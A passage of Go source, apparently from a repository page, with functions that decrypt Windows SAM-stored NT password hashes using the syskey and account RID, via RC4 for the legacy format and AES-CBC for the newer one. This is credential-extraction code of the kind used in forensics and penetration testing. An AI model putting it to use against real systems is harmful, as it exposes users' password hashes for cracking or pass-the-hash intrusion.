binary.LittleEndian.PutUint32(ridBytes, rid)
|
||||
input2 := []byte{}
|
||||
input2 = append(input2, syskey...)
|
||||
input2 = append(input2, ridBytes...)
|
||||
input2 = append(input2, s3...)
|
||||
rc4key := md5.Sum(input2)
|
||||
//log.Debugf("NT Hash RC4 encryption key: md5(%x %x %x)\n", syskey, ridBytes, s3)
|
||||
//log.Debugf("NT Hash RC4 encryption key: %x\n", rc4key)
|
||||
|
||||
// Decrypt the encrypted NT Hash
|
||||
c2, err := rc4.NewCipher(rc4key[:])
|
||||
if err != nil {
|
||||
log.Errorln("Failed to init RC4 key")
|
||||
return
|
||||
}
|
||||
c2.XORKeyStream(encHash, doubleEncHash)
|
||||
ntHash, err = decryptNTHash(encHash, ridBytes)
|
||||
return
|
||||
}
|
||||
|
||||
func DecryptAESHash(doubleEncHash, encHashIV, syskey []byte, rid uint32) (ntHash []byte, err error) {
|
||||
ridBytes := make([]byte, 4)
|
||||
encHash := make([]byte, 16)
|
||||
binary.LittleEndian.PutUint32(ridBytes, rid)
|
||||
a1, err := aes.NewCipher(syskey)
|
||||
if err != nil {
|
||||
log.Errorln("Failed to init AES key")
|
||||
return
|
||||
}
|
||||
c1 := cipher.NewCBCDecrypter(a1, encHashIV)
|
||||
c1.CryptBlocks(encHash, doubleEncHash)
|
||||
ntHash, err = decryptNTHash(encHash, ridBytes)
|
||||
return
|
||||
}
|
||||
Reference in New Issue
Block a user